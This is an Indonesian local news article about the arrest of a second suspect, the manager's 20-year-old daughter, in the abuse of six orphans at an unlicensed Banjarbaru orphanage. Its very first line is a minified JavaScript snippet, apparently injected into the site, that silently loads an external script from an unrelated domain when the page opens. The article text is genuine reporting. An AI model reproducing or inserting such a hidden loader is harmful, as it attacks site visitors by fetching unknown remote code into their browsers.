(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kasus penganiayaan terhadap anak yatim panti asuhan oleh pengelola Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kota Banjarbaru, menyeret satu orang tersangka lain, setelah awalnya hanya menetapkan SO sebagai tersangka.
Hasil pengembangan dari jajaran Sat Reskrim Polres Banjarbaru menetapkan satu tersangka pelaku penganiayaan lain di Griya Yatim Dhuafa yang berada di Kelurahan Mentaos.
Kasi Humas Polres Banjarbaru, Kompol Tajudin Noor mengatakan, dari hasil pemeriksaan dan pengembangan terhadap tersangka SO (46) dan keterangan 6 anak korban, pihaknya menetapkan perempuan berinisial DAH (20) sebagai tersangka dalam kasus ini.
“DAH (20) merupakan anak kandung dari SO (46),” ujar Kasi Humas Polres Banjarbaru, Rabu (1/2/2023) siang
Baca juga: Putusan Sela Pengadilan Tipikor Banjarmasin Tolak Eksepsi Mantan Bupati HST
Belakangan terungkap motif DAH (20) melakukan penganiayaan kepada para anak korban lantaran kesal dikarenakan anak asuh ayahnya melakukan kesalahan yang tidak bisa ditolerir dan berulang-ulang.
“Motifnya sama dengan sang ayah dan perlakuannya pun sama,” ungkapnya.
Dibeberkannya, untuk kedua tersangka SO (46) dan DAH (20) sudah menghuni rumah tahanan (Rutan) Polres Banjarbaru guna menjalani proses selanjutnya.
“Berkasnya sudah tahap 1 dan diserahkan ke kejaksaan,” bebernya.
Baca juga: Sabu Antar Warga Palampitan Hulu ke Tahanan Polisi
Adapun pasal yang disangkakan pada kasus tersebut adalah pasal 80 ayat (1) Undang-Undang Nomor 35 Tahun 2014 atas perubahan UU Nomor 23 Tahun 2002 tentang Perlindungan Anak, kemudian pasal 351 ayat (1) tentang Penganiayaan.
Sebelumnya, aparat gabungan mengamankan pengasuh Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos pada Kamis (12/1/2023) lalu. Dalam laporan yang diterima pihak kelurahan, sedikitnya 6 anak yatim diduga telah dianiaya pengasuhnya.
Kemudian pengelola, SO (46) ditetapkan menjadi tersangka lantaran barang bukti hasil visum terhadap 6 anak yatim tersebut terbukti ada bekas kekerasan yang diterima mereka.
Sedangkan untuk rumah yatim sendiri dibekukan atau ditutup total, hal ini dikarenakan panti tersebut tidak mengantongi izin dari dinas terkait dan izinnya sudah habis per September 2022 lalu.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
This website uses cookies.